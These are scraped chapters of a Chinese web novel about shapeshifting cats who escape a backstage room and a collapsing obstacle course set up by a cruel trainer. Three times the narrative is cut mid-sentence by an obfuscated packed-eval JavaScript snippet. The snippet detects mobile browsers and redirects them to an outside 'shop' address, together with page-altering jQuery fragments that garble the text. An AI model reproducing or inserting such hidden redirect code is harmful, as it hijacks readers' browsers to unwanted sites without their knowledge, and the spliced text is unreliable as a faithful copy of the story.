江有鱼也反手握住了她的手,现在,世界上只有她们最懂得彼此的心情,她们就这么彼此支撑着,无声地为对方打气。 那是多么漫长、多么煎熬的三个小时,水位一点点下落,江有鱼只觉得那抽出去的不是水,而是她的血液、她的脑浆、她的灵魂。 她不敢想象,可想象却在她脑海里越演越烈,她只觉得浑身都是麻的,每个毛孔都在往外冒寒气。 万一灰狸真的沉在水底怎么办?她要如何面对这一切?她要怎么给灰狸讨回公道? 不,她甚至连给灰狸讨回公道的资格都没有。灰狸只是一只猫,人杀猫,只需要赔钱,除此之外,没有任何惩罚。 甚至,连赔钱都可以省略,灰狸没有法律意义上的主人,也就没有苦主! 水位一点一点低下去,江有鱼已经不敢睁眼,她只是听着抽水的声音,默默计算着水位高度。 终于,抽水泵发出空空响声,工人喊道:“见底了!” 冉晨星立刻跑过去,石小姐也一把将江有鱼拽起来。 江有鱼已经不敢看了,她低声道:“你去看吧,看了告诉我,我不敢看……” 石小姐却一反常态,硬把她往水边:拽去 “你必须看!如果他们真的在水底下……你就得记住他们最后的样子,然后,好为他们报仇!” 江有鱼被她话语中的冷肃之气镇住,跌跌撞撞来到湖边,强撑着伸头往下看。 水底下空空的,什么都没有。 江有鱼长出口气,只觉心跳都陡然慢了下来,反而是石小姐两腿一软,向下跌去,江有鱼连忙扶住。 冉晨星仔细勘察一遍,皱眉道:“台上水下都没有,你那个定位手环是不是坏了?” 这倒也有可能。江有鱼并不太懂定位的原理是什么,但机械坏掉是很正常的,不由得急道:“那、拿我们去哪里找啊?” 冉晨星一挥手机:“刚刚云川给我打电话了,说是看监控有了些发现,让我们赶快过去一趟。” 大家来到监控室,任云川指着画面道:“这是食堂的监控,我们可以看到,阿橘跟灰狸在昨天八点十分的时候来到了食堂,在八点二十分,又从食堂后门出去了。” “食堂后门是厕所,那里是监控死角,不清楚发生了什么,也没有看到张佑辉,但是灰狸他们离开食堂后,确实一直没再回来。” 石小姐急道:“那不还是什么都没发现吗?” “别急呀,我以食堂后门为圆心,搜了附近的五个监控摄像头,在阿橘失踪的时间段,应该是有目击证人的。” 任云川调整画面,把镜头推在一个人身上,那是个清洁工,推着个清洁车,带着口罩,看不清脸。 “这个清洁工七点五十分左右出现在摄像头里的,直到八点二十五分,才离开这里。他肯定见过阿橘!” 任云川问保安队长:“这个人你认不认识?” 保安队长也摇头:“根本看不清脸啊,这怎么认?要么,我把所有男清洁工都叫过来一趟,你们一个个查?” 江有鱼隐隐觉得,他们的调查方向有点跑偏,但是现在也没有更好的办法,只好先这么试试了。 现在,距离阿橘他们失踪,已经过去了整整30个小时了。 另一边,灰狸跟阿橘正在努力自救。 他们先是吼叫求救,但是叫了半天,依然没人理会。没办法,人类的耳朵跟猫一比就像是聋子,根本听不见这么细微的声音。 于是,他们又试着撞门。 门锁很结实,“嘭!”的一声,灰狸撞门失败了,身后,阿橘咬牙撑着身体,前仆后继地撞上来。 他们轮流撞了一个多小时了,门锁却丝毫没有松动的迹象。 这里的空间太狭窄,无法助跑用力,加上他们俩都很久没吃东西了,体力越来越差,阿橘累的舌头都吐出来了,那该死的门就是不开。 这样下去不行,必须得想别的办法,灰狸搓搓手,试着用手探了探锁孔,心里有了想法。 他们是被反锁在门里的,如果能找到什么东西把锁撬开,那就能出去了。 可惜这屋里空荡荡的,连块铁片都没有。 灰狸泄气地坐在地上,阿橘从地上爬起,甩甩膀子,准备再撞一次门。 风中传来细微的金属响声,他的目光不由盯上了阿橘的手腕,那里,有阿橘的小项圈,只要把那细细的金属项圈掰开,说不定可以用来撬锁…… 灰狸之前走千家溜万户,也懂得一些开锁的技术,但他并非开锁高手,这门技术也是时灵时不灵。 倘若一不小心把金属丝卡在锁孔,那就真的完蛋了,即使用钥匙也打不开了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995580|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但事情到了这一步,试试总比不试强,灰狸伸手对阿橘道:“把你的小项圈给我,我来撬锁!” 阿橘问明白他的意思,连忙捂住手腕:“这是主人买给我的见面礼物!你怎么能把它弄坏!” “笨蛋!到底是命重要,还是东西重要?”灰狸啪地打了一下阿橘的头,“要是你死在这里,项圈就只能给你陪葬用了,到时候你主人再养个新猫,你就高兴了?” 阿橘想了想这种未来,就觉得浑身汗毛直颤,只好哭丧着脸把项圈捐献出来。 灰狸用力扯断金属丝,试探着伸进锁孔,小心地拨弄着。 也不知道是不是猫猫神在保佑,五分钟之后,门锁咔哒一声,居然真的开了! 一股清新的空气,从门缝里涌出来,阿橘高兴地又跳又叫,灰狸抹去额头的汗水,一把架起阿橘往外走去:“先别急着高兴,出去看看这是什么地方。” 外面的空间要广阔很多,天花板似乎有二十米高,到处都是密密麻麻的电线、仪器、按钮。 灰狸探头看了一下,发现上面写满了洋文,自己一个都不认识。 如果他对人类社会懂得再多一点,就会知道,这里是一个叫做“后台”的地方,掌控着灯光跟音视频播放,他把这个房间摸索了一遍,这次连门在哪里都没找到。 奇怪了,没有门,他们是怎么进来的呢? 阿橘左顾右盼,忽然指着前方道:“灰狸大哥,你看那个!” 灰狸顺着他指着的方向看去,发现那是个怪模怪样的铁家伙,认不出是个什么,阿橘却好像认识:“我跟着主人,去她工厂上班时见过这种机器,好像叫升降机!” 阿橘确实没认错,他跑上前,鼓捣了一阵,泄气道:“怎么不动?” 灰狸看了看黑漆漆的房间,无语道:“笨蛋,还没有通电呢!” 灰狸巡视一圈找到电闸,暗自庆幸自己接受了猫德学院的教育,否则,他还真的不认识什么是电闸,就算认识,也分不清“开”、“关”两个字。 现在,上过学的灰狸可以轻易把电闸推到正确位置,真是太棒啦! 啪啪啪啪啪,灰狸把所有电闸都推了上去,房间立刻亮起。 灰狸他们不知道的是,这个电闸不仅控制着室内电源,同时还掌控着外面的舞台灯光和led屏幕。 此时,外面已经是晚上八点多了,天色早已经暗下来,灯光开启,瞬间亮如白昼。 那光线穿透力极强,直接照进隔壁的员工宿舍。 张佑辉在外面假装找了两天猫,累得要命,已经上床睡了,此时光线照脸,一下惊醒。 他跳下床,向高台方向看去,心中七上八下。 是谁打开了后台电闸?后台的钥匙就他这里有,没他开门,别人应该进不去才对啊! 难道说……是那两只猫? 不可能啊!他明明把那两只猫锁在储藏间里了,还反锁了门,他们是怎么出来的? 张佑辉的计划很简单,现场杀猫,难度很大,且万一阿橘的主人看见尸体,不好交代。 于是,他便把两只猫带到了只有自己能出入的后台,锁进储藏间,打算慢慢饿死他们。 这样,就算有朝一日被发现了,也可以说是猫自己溜进去的,谁不知道猫最喜欢钻漆黑狭小的地方,他只是锁门的时候忘了检查而已,并非有意杀猫。 但他好像低估了那两只猫…… 张佑辉紧皱眉头,匆匆穿上鞋子,向障碍赛场地走去。 29.脱困了吗 江有鱼等人把一个下午的时间都放在盘问男性清洁工身上,所有人都否认自己曾在早上去过那里,冉晨星检查了排班表,发现他们都没撒谎。 线索到这里又断了,天色已晚,一行人只得先去食堂吃点东西,江有鱼跟石小姐毫无胃口,对着食物呆呆出神。 冉晨星劝到:“吃一点吧,不吃就没力气救猫了。” 石小姐悲从中来:“我怎么吃得下?不知道阿橘有没有东西吃?我真后悔,这次要是能把阿橘找回来,他想吃什么就吃什么,我再也不让他减肥了!” 江有鱼也吃不下,她豁然站起,往后门走去。 冉晨星喊道:“你去哪里?” “我想要亲眼看看灰狸失踪的地方!” 食堂后门颇为僻静,江有鱼进入厕所,发现地方不大,就三个隔间,她在地上转了两圈,有种奇怪的违和感涌上心头。 打扫这么小的一个地方,需要那么大一个清洁车吗? 那种清洁车上的垃圾桶,都够装下一整栋楼的垃圾了,厕所里有什么大型垃圾,非要用清洁车转运呢? 七点五十清洁工进来,八点二十,灰狸他们进来,八点二十五分清洁工出去,灰狸他们却就此失踪…… 江有鱼猛地打了个突,灰狸他们不是失踪了,是被清洁车运走了! 她们被那身制服迷惑了,谁说推着清洁车、穿着制服的就是清洁工? 这个人不是什么目击者,他就是真正的凶手!怪不得没有人认识他! 江有鱼一阵风似的跑回食堂,把自己的想法说了。冉晨星等人哪里顾得上吃饭,立刻回了监控室。 冉晨星联系后勤处主任,询问到底有谁能够接触清洁工制服和清洁车。 任云川则把监控调出来,开始一个一个摄像头倒查这个清洁工的行动轨迹。 这一查,果然有了发现,后勤主任表示,清洁工制服跟清洁车就堆在仓库里,因为不是什么值钱物件,也没有特意防盗,任何一个能进后勤处的教职工都能接触到。 后勤主任还给了冉晨星拿到了一份名单,所有参与后勤管理的职工都在名单上。 其中,张佑辉的名字赫然在列,后面备注着他的职责区域:音频后台。 冉晨星马上问道:“音频后台?在哪里?” 后勤主任:“其实就在人工湖中间台子的下面,那台子是仿造舞台设计的,音频器械都在那下面的空间。因为张老师的学员要训练障碍赛,所以那边暂时归他管理。” 那边,任云川也叫道:“冉姐,我追着行动轨迹到了人工湖附近,湖边监控却被关掉了,什么也看不到!” 湖边监控、音频后台、手环定位……全都对上了,张佑辉与此事有关,是铁板钉钉!现在,灰狸他们就在音频后台! 至此,证据链已经完整,冉晨星气贯长虹:“走,立刻去找张佑辉!” 音频后台,阿橘终于启动了升降机,灰狸站在升降机上指挥:“上!上!上!” 阿橘在下面推动摇杆,灰狸本以为自己能升出外面,脑袋却咚地撞到一扇暗门,连忙叫道:“往下一点!” 阿橘往下猛拉摇杆,这下,灰狸又离暗门太远了,大叫道:“哎哎哎过了过了!再上面一点!” “上!不对,下!上!只需要上一点点!” 总算把高度调整到合适的位置,灰狸伸手,摸了摸暗门的轮廓,惊愕地发现,这扇门居然没有锁。 其实当然是有锁的,只不过是电子锁。为了防止台上的人掉下去,这个暗门是靠电钮启动的,控制台上写着“door”的按钮就是,可惜两只猫都不懂洋文。 阿橘急了:“怎么办?” 灰狸摆手,示意他不要吵,自己踮起脚尖,伸手在暗门上敲了敲。 听声音,这门不算结实,好像只有三五厘米那么厚,如果有利器的话,应该可以破门。 他示意阿橘把自己放下去,在屋子里到处转悠了起来。 唔……怎么只有些小板凳、电线、和电钮呀?看起来都是些笨重东西,完全不能派上用场! 灰狸从地上捡起来一个麦克风支架,掂掂轻重,又扔回去了。 他跟阿橘在屋子里转了好几圈,找到的唯一利器是小剪刀,就在他打算试试用头槌破门时,眼前突然划过一抹红色。 角落里居然有个消防柜。 灰狸的耳朵一下立了起来,尾巴也欣喜地摆来摆去,他在健康安全课上学过,消防柜里配备了许多物品,其中就有消防斧! 真是猫猫神保佑,想什么就来什么呀! 消防柜也上了锁,灰狸抄起板凳把玻璃砸破,从中拿出消防斧。利器在手,他一下跳上升降机,命令阿橘道:“升我上去!看大哥给你开出一条路!” 近了、近了、暗门就在眼前,灰狸估摸距离差不多了,对阿橘发出停止口令。 随即,他抡圆手臂,使出打狗的力气,朝着暗门就是一斧子。 “当!” 一声巨响后,暗门上木屑扑簌簌掉落,看来有用。灰狸大喜,更加用力地砸了起来。 阿橘也欢欣雀跃,在下面蹦蹦跳跳:“大哥加油!大哥加油!” 暗门外,张佑辉面无表情地站在那里,两手在口袋中握成拳头。 他确实是小看了这两只猫,不,是小看了灰狸。 阿橘的水平他知道,笨的要命。从储藏室逃脱,又能启动升降机,还能找到消防斧破门逃生……肯定都是灰狸干的,果然不愧是文化组的组冠军,聪明的太过分了。 要是让灰狸跑了出来,自己干的那些事情,他必定会全说出来,猫的证言虽然没有人的证言可信度大,但佐以其他物证,还是能被取信的。 可恨这只猫聪明就算了,身体又强壮,连性格都不驯的很,现在灰狸手持利器,自己还真不敢跟他照面。 张佑辉把视线转向高台周围那些机关赛道,咧嘴一笑。 人毕竟是人,人比猫强的地方,就在于脑子。 他转身,哼着小曲,向着机关赛道控制室走去。 他刚走不到五分钟,便听一声巨响,灰狸执起斧子,把门彻底砸开,翻身跳了上来。 星空闪烁,夜风吹拂,自由的味道实在令人陶醉,想到自己大难不死,又可以见到江有鱼,灰狸就忍不住开心地翻了两个跟头。 阿橘见灰狸上去就没影了,在下面急得嗷嗷叫,灰狸这才想起他来,连忙露头安抚了他一下。 随即,他四处巡视一圈,找到了一个同样能控制升降机的按钮,把阿橘弄了上来。 阿橘一上来,就激动地叫了一声:“呀!是障碍赛的场地!之前我经常在这里训练呢!” 他欢喜地翘着尾巴:“到这里我就认识了,咱们快走吧,去找主人!” 灰狸点头,两猫刚要走安全通道离开,忽然觉得脚下一震。 高台晃动,那长长的安全通道居然折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001014|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠收起,灰狸一脚踩空,差点掉进下面十几米的深坑,幸好他反应敏捷,往后一跳,这才没有受伤。 谁收起了安全通道?这样一来,他们就只能走障碍赛的赛道回去了! 灰狸自己倒是没问题,可阿橘的胳膊受伤了,他根本不可能通过障碍赛道啊! 灰狸呆呆站着,有点不知所措了。 员工宿舍,后勤主任把大家带到张佑辉的宿舍前。敲了半天门,出来的却是张佑辉打着哈欠的室友。 室友道,张佑辉十分钟前刚刚出去。至于去了哪里,室友就不知道了。 石小姐急得直跺脚:“他一定是逃跑了!” 冉晨星连忙安慰:“你放心,只是十分钟而已,肯定追的回来。” 江有鱼虽然也很在意张佑辉逃跑的事情,但她更想找到灰狸的下落,忙道:“先不急着找他,先找猫吧!我们去音频后台!” “找猫找人双管齐下,老娘绝对要抓住那个王八蛋!”石小姐持不同意见,“这样,兵分两路,你跟冉警官去音频后台,我跟任警官去追张佑辉!” 也只好这样了,几人闷头冲出宿舍楼,忽然听见,湖中高台传来了震耳欲聋的音乐声。 这音乐好熟悉,正是障碍赛的主题曲《猫猫向前冲》,每次比赛机关开启时,这首轻松活泼的歌曲就会同步响起,猫猫们伴着歌声向前冲去,是比赛的经典瞬间。 可现在,这首歌怎么会响起来? 江有鱼疑惑地向着高台望去,瞳孔顿时吃惊地缩紧了。 台上赫然站着个影子,正是灰狸!现在,他正跃跃欲试,要往机关上跳! 后勤主任也吃惊不小:“谁把机关打开了?那些机关明天就要拆除了,今天工人已经把关键螺栓拧松了,就等着明天专业拆卸团队进场呢!现在启动,机关不全散架了?” 机关散架?江有鱼一想起那个场面,就不由得头晕目眩。 为了赛事观赏性,机关赛道都很高,离地大约十米左右,往常湖中有水,这个高度对小猫不算什么。 但现在水已经抽干了,若摔下来,一定会受伤的! 就算勉强没摔伤,这些机关若是散架了,还不把他们都砸在底下?恐怕连全尸都找不到! 张佑辉实在太歹毒了,这是要将他虐待阿橘的事情彻底掩埋啊! 石小姐明显也想到了这点,一把抓住后勤主任:“这件事,张佑辉知道吗?” “怎么不知道啊!拆卸团队就是他负责联系的!” 任云川骂了一声,一把拉过后勤主任:“别愣着了,机关控制室在哪里?快带我去!” 石小姐也跟着任云川冲往机关控制室,江有鱼一咬牙,转身向人工湖方向跑去。 抓人她是派不上用场了,但是救猫,她有一定经验,她必须得去找些有用的东西,顺顺利利把灰狸接回来! 更远处,猫德大赛评审团成员在开会,他们正在发愁,本届大赛要怎么收场。 六个组冠军失踪了两个,还闹到警察上门,这届比赛眼看着就要闹出大丑闻,这可怎么办才好! 主评审默默叹了口气,正想说些什么,却忽然听到一阵轻松畅快的音乐声。所有人同时向着窗外望去。 只见高台上灯光闪烁,溢彩流光,障碍赛机关全部疯狂运转,好像正邀请着选手前来挑战。 奇怪,大晚上的,这是闹什么呢? 主评审深深皱起眉头:“走,看看去。” 30.猫猫向前冲 台上,灰狸跟阿橘都被忽如其来的音乐声吓了一跳,原地起飞了一下。 阿橘抬头看去,惊叫道:“张老师!” 灰狸也往那个方向看去,只见张佑辉正坐在高台对面的一个指挥塔里。 他面无表情地看着阿橘与灰狸,慢慢说了一句话。 距离太远,灰狸听不见他在说什么,只得看着他的唇形,跟着一字一字的读:“真、是、不、乖? 一向柔顺的阿橘,在听到这句话之后,忽然跟变了个猫似的,眼睛都红了,嗷嗷叫着就要往上冲。 “你骗我!什么因为我不乖,主人才不来看我,都是你编出来的!我生气了!我非要挠你的脸不可!” 他气昏头了,莽莽撞撞地要往前机关上跳,灰狸连忙一把给他拽回来。 “冷静点,你手臂断了,无法通关的!这里离地面有十几米,摔下去就遭了,马上就要见到你的主人了,你也不想死在这里吧?” 他望着面前那些飞速旋转的机关,活动了一下筋骨:“阿橘,你快变回猫的样子趴在我身上,我来抱你通过这里!” 阿橘惊呆了,他接受过障碍赛的训练,知道用人的形态不可能通关,连忙劝道:“不行,你也得变成猫的形状才能过得去。你先别管我了,自己逃跑吧,我在这里等你!” “我答应了江有鱼要照顾你,怎会把你自己丢在这里呢?”灰狸一把拉开上衣拉链:“阿橘,快上来,大哥的胸膛是绝对可靠的!” 阿橘感动地热泪盈眶:“灰狸大哥,等我们脱险之后,我一定要把所有的零食都送给你,你千万不要拒绝!” 对于小猫来说,这就是生死兄弟的意思了。 说罢,阿橘原地变成一只圆头圆脑的橘猫,蹭一下钻进了灰狸衣服里,三只小爪子紧紧抓住灰狸衣襟。 灰狸确认阿橘已经抓好了,向后退了几步,深吸一口气,向前冲去。 他身后,灯光亮如白昼,童声演唱的歌曲俏皮甜美:“一鼓作气,勇往直前,猫猫最爱大冒险……” 灰狸一跃,跳上赛道,这一关是上下波浪般起伏的梅花桩,每根梅花桩的直径不到十厘米,完全是给小猫的爪子设计的,顶多能放下人形的半个脚掌。 再加上机关起起伏伏,晃个不停,光是看着都够眼晕的,别说踏过去了。 阿橘紧张的小鼻子冰凉,爪垫都出汗了,他作为受训猫,最知道障碍赛的难度,新手几乎不可能通过! 灰狸虽然很强壮,但障碍赛考察的素质实在太多元了,他能行么?自己可不想在即将见到主人前摔成猫饼啊啊啊啊! 然而,接下来,阿橘便看到了不可思议的一幕。 如果说起伏的梅花桩像是波浪,那灰狸的动作,就像波浪上的小舟,看似随波上下,实则稳稳当当,连眼睫毛都不带颤抖的。 阿橘看见,他只用足尖点地,步伐优雅地简直像是在跳芭蕾,每次跳跃,都能直接跳出一米多远,一步能跨过两三个梅花桩。 若是能看见灰狸的脚印,他还会发现,灰狸的落脚点都在梅花桩正中央,连一丝一毫都没有歪掉。 还没到十几秒,灰狸就成功突破了这一关,阿橘张大了嘴巴,实在不敢相信自己的眼睛。 长达十米、让阿橘无数次掉落水中的梅花桩,就这么轻松的过去了? 他兴奋地一爪子抓在灰狸胸口:“灰狸大哥,你真行啊!” 灰狸轻哼一声:“这算什么,简单的很!你看我的!” 张佑辉没想到,灰狸居然在障碍赛的表现也这么出色,他带着一丝怒意,把机关速度调节到了最高档。 哼哼,一只猫还想跟他斗!他绝对、绝对要让灰狸死的很难看! 灰狸浑然不知,还在努力闯关。跳过梅花桩,是一个供选手短暂休息的平台,他正想稍微喘口气,忽然觉得脚下平台轻微一抖,往下塌去。 他一惊,下意识地一跃而起,抓住了下一关的摆荡环。再回头看时,身后的平台跟梅花桩已经全塌了,在轰然巨响中变为一大片钢铁零件。 怎么回事?赛道怎会塌了呢?要是他刚才没有抓住摆荡环,岂不是…… 阿橘也是惊魂未定,小声督促道:“灰狸大哥,咱们快走吧,我心里感觉很不好,总感觉要出大事……” 灰狸点点头,腰腹用力,在空中摆荡起来。 这一关叫做“猫中泰山”,高空悬挂着一排摆荡环,选手要像泰山一样,在空中一路荡至下一个环,才能前进。若是抓不住,就会立刻掉落下去,相当惊险刺激。 这摆荡环也是为猫的小爪子设计的,灰狸用人形起荡,手掌根本无法抓住那小小的环,只能用两根手指来勾住摆荡环,他跟阿橘的体重加在一起有170斤,全靠这两根手指支撑。 这已经非常艰难了,但,世界上没有最难,只有更难。 灰狸正在奋力摆荡,忽然觉得摆荡环有些松动,似乎马上就要掉下去,他大惊,在空中不假思索地起跳,准确地勾住了下一根摆荡环。 几乎就在他脱手的瞬间,那根松动的摆荡环便掉了下去,当啷一声砸在坑底。 灰狸惊出一身冷汗,紧接着,他听见自己现在勾住的摆荡环也发出不祥的嘎吱声。 阿橘抖抖耳朵,明显也听见了,他的爪子惊恐地嵌进灰狸的肉里:“灰狸大哥,别犹豫,跳!” 幸好上一次跳跃的惯性仍在,灰狸这次不用再次起荡,他屏住呼吸,把全副心神都放在手上,再次跳跃! 评审团众人此时已经来到了赛场,一眼便看见了在摆荡环上闪转腾挪的灰狸,不由得惊呼起来。 这是什么样的猫啊!简直……简直是传说中的蜘蛛侠! 灰狸已经身化成一道闪电,那不是跳跃,简直是在空中滑翔,起跳、抓环、趁势再荡,脱手再抓…… 他每一个动作都极度精准,干脆利落,堪称是最有效率的通关方式。 体育组的评审员刚想赞叹灰狸没有一点多余动作,便看见灰狸刚刚抓过的那根摆荡环直直掉落下去,钢铁与地面撞击,发出清脆的一声响。 他每荡一下,就有一根摆荡环掉落,简直像是催命鬼在身后追赶,逼得他不得不一口气向前冲。 铛铛的金属落地声,混在《猫猫向前冲》的歌曲里,像是一种奇异的鼓点,为这可爱的歌曲增加了一丝危险气质:“荡过最宽的河,翻过最高的山,猫猫想去海的那一边……” 灰狸在空中开始喘粗气了,这种荡摆是对体力的极大消耗,放在往常,灰狸自信能够完成这些动作,可是今天不一样。 他已经很久没吃东西了,手脚都饿得发软,这样下去,他坚持不了多久的! 好不容易渡过了那些摆荡环,灰狸终于落在了休息平台。但这一次,他不敢休息了,任何时间都不能耽搁,这些机关都很不牢靠,随时会塌! 下一关是一条由传送带组成的独木桥,独木桥两侧,还有两个大摆锤,在独木桥上危险地晃动,只要被摆锤打中,肯定会被砸飞出去。 阿橘提示道:“大哥,你一定要注意脚下!躲避大摆锤不算难,难点是控制距离,你脚下的传送带速度会变的,一会儿快一会慢,千万小心!” 灰狸点头,表示自己听到了,随后打起十二万分的小心,踏上了传送带。 张佑辉早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005546|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经把传送带速度调成最高,灰狸一上去就感觉到了强大的阻力,必须全力奔跑,才能在传送带上前进一点距离。 他咬紧牙关,努力忽视浑身的酸痛感,想象赛道尽头就是自己的那张软床,拼命狂奔起来。 猫咪的长处是爆发力跟灵活性,耐力其实很差,灰狸即使作为猫中佼佼者,也难以违背生理构造。 这种剧烈运动,极大地消耗着灰狸身体里的能量,灯光刺眼,他的汗水从额头一直流到下巴,滴在阿橘的脸上,阿橘伸出舌头舔了舔,咸咸的。 要跑到什么时候呢?这样奔波、危险、饥饿的日子,什么时候才能到头呢? 灰狸只觉得大脑缺氧,眼前似乎也产生了幻觉。他居然看见江有鱼就在赛道尽头,满脸担心地看着他。 他还听见她的声音,惊雷般在耳边响起:“灰狸!加油啊!你是世界上最棒的小猫,不能倒在这一关!” 紧接着,阿橘也喵嗷嗷地叫起来:“江老师!江老师!” 灰狸猛一激灵,阿橘也能看见,那说明不是幻觉!江有鱼真的来了! 这条奔波辛苦的路,已经能够看到头了!幸福就在终点等着自己! 灰狸疲软的四肢忽然有了力气,他擦一把汗水,向着那安稳美丽的未来跑着、跑着…… 不知不觉间,他离第一个大摆锤已经很近,灰狸观察着那摆锤的节奏,小心地保持位置不变,想要等那个摆锤离开,再一鼓作气冲过去。 却不想,脚下的传送带速度忽然一滞,灰狸的速度却没变,他暗叫一声不好,却来不及了,他已经冲到了大摆锤的正下方,一下被抡飞出去。 事情只在一瞬间发生,但对所有人来说,那一刻似乎都成了逐帧播放的慢镜头,摆锤划过的弧线、灰狸腾空的身躯、阿橘惊恐的眼神、还有张佑辉那狰狞的微笑…… “噢!!”这是评审团的惊呼。 “啊!!!!”这是阿橘在惨叫。 一切难道就这么结束了吗?灰狸难以置信,自己的终点,居然不是有鱼猫德学院那个可爱的小房间,而是死在奔向幸福的路上? 所有人的目光都在看向他,担心的、善意的、恶意的……但他眼中,只能看到一个身影。 那个像是羽绒床垫一样柔软温暖的人类,正噙着眼泪望向他,撕心裂肺般喊道:“灰狸!!!!!” 不不不,别哭啊,不要露出那么伤心的表情啊,有气概的男猫,是不能让自己罩着的人类哭泣的! 比赛还没结束,一切还有希望! 在所有人的目光中,空中的灰狸动了。他条件反射地回身扑去,手臂牢牢地抱住那个摆锤,整个人都挂在了摆锤上面,借势稳住了身形。 随着摆锤荡回,他松手,再次回到了传送带上。 “好啊!” 评审团不知什么时候,已经开始在给灰狸喝彩了,阿橘劫后余生,还在呆若木鸡,江有鱼更是激动地鼻涕眼泪流了一脸,险些瘫倒在地。 张佑辉腾一下站起来,不敢相信自己的眼睛,这也能行? 这种情况前所未见,因为之前的选手都是猫形参赛,没有手臂,当然不会有这样的情况出现。 这个灰狸,应变也太神速了!难道说,他……真的会活着通过赛道? 还没等他思考出答案,咣咣咣的砸门声便忽然传来,石小姐的声音从门外暴躁地响起:“王八蛋开门!给我滚出来!” 随之响起的还有个陌生男子的声音:“屋里的人听着,我是云朵市的警察任云川,你涉嫌故意毁坏财物罪,请你跟我们走一趟!” 张佑辉的冷汗,一滴一滴地落了下来。 31.向你奔赴的幸福 灰狸通过大摆锤关卡,呼哧呼哧喘着气。 同样,在他刚刚站上休息台时,大摆锤关卡也彻底散架,两个大摆锤一东一西飞了出去,其中一个因为惯性甩出场外,砸在评审团脚边,引起一片惊呼。 后勤主任急道:“所有人离开这里!太危险了,整个赛道都要塌了!” 湖边的围观群众顿时向后退去,只有一个人仍在湖边没走,正是江有鱼。 后勤主任要过来拉她,却被江有鱼甩开,她把手放在嘴边举成喇叭状,对着灰狸大喊:“灰狸,最后一关了!我在这里等着接你!” “就快结束了,向前冲啊!” 一片狼藉的赛场上,欢快的旋律跃动,甜美的童声在唱:“猫猫向前冲!冲过狂风冲过火焰!猫猫向前冲!冲破巨浪冲出蓝天!” 江有鱼也跟着吼唱起来:“猫猫向前冲!渴望挑战永不改变!猫猫向前冲!幸福终点就在眼前!” 她向灰狸伸出双手:“灰狸,快跑!” 随着她的话音落下,灰狸动了。 这最后一个关卡,是一道长约十米、宽约二十厘米的跷跷板跑道,由于长跟宽实在不成比例,那板子颤巍巍的,常人站都站不稳。 一旦冲过中心支点,选手还会急速向下滑去,想要通过,速度与平衡能力缺一不可! 可是灰狸不怕! 幸福就在眼前十米的地方,他要做的只是向前奔赴! 在这一瞬间,灰狸的速度到底有多快,没人能给出准确的答案。阿橘只觉耳畔风声呼呼,那猛烈的风把他脸上的毛都吹平了,他本能地闭上眼睛。 一米、两米、三米……只是一瞬,灰狸便跑过了一大半距离,江有鱼激动地跑到赛道旁边,伸手为他加油:“快来!最后一点点了!” 灰狸眼前晃动着江有鱼的脸,越来越近、越来越近。 然而,他的脚下却忽然一空。 他瞪大眼睛,身子后仰,向下跌去,跷跷板折成两节,坍塌成一堆碎片,在冷白灯光下,如金属的雨。 他随着金属雨一起跌落,这一次,再没有任何支点给他发力。 距离终点仅剩一米,但这一米,就是命运的天堑鸿沟,无论怎么努力,也难以填平。 灰狸眼中闪过一抹决然,他将阿橘从自己怀中扯了出来,奋力向岸边扔去。 自己得不到的幸福,就让其他有福气的小猫,尽情享受吧。 阿橘在空中划出一道金色的弧线,飞往岸上,他焦急地爪子开花,大叫:“灰狸大哥!” 完了完了,灰狸大哥要摔死了!怎么办,谁来救救他!谁来救救他啊! 就在此时,一道身影,从阿橘身侧蹿出。 江有鱼像是一道荧光色的霓虹,想也不想,便向着灰狸坠落的方向,一跃而下! 后勤主任惊呆了,大吼道:“不要命啦!下面可是十几米的深坑!” 灰狸已经下坠了两米多高,失重感让他汗毛乍立,眼前一片空茫,全无焦距。 可是,一张脸忽然闯入了他的视野。 他感觉到一只温暖的手捏住了他的腕骨,他条件反射地回握,两只手如互相扭住的锁扣一般,生死相握。 一股大力从上方传来,他下坠之势顿止,随着惯性作用,他啪一下拍在人工湖的水泥壁上,撞得他头晕眼花。 上面那人也一样撞得不轻,手却握得更紧,她焦急地问道:“灰狸,你怎么样?有没有事情?” 灰狸仰头,在漫天星光下,看见了江有鱼的脸。 那张脸好狼狈,沾满了人工湖的青苔,鼻子下面还滴着一行鼻血,她身上穿着一件怪模怪样的马甲,荧光绿色丑的要命,唯有一双眼睛,莹莹闪烁,美如星辰。 看着这张脸,灰狸什么都说不出来,只是轻轻摇头。 然后,他看见江有鱼笑了。 她在笑,可是眼泪和鼻血却扑簌簌地流下来,鲜艳流光,如一场只为他降临的流星雨,滴在灰狸的脸上。 “你没事,真是太好了!” 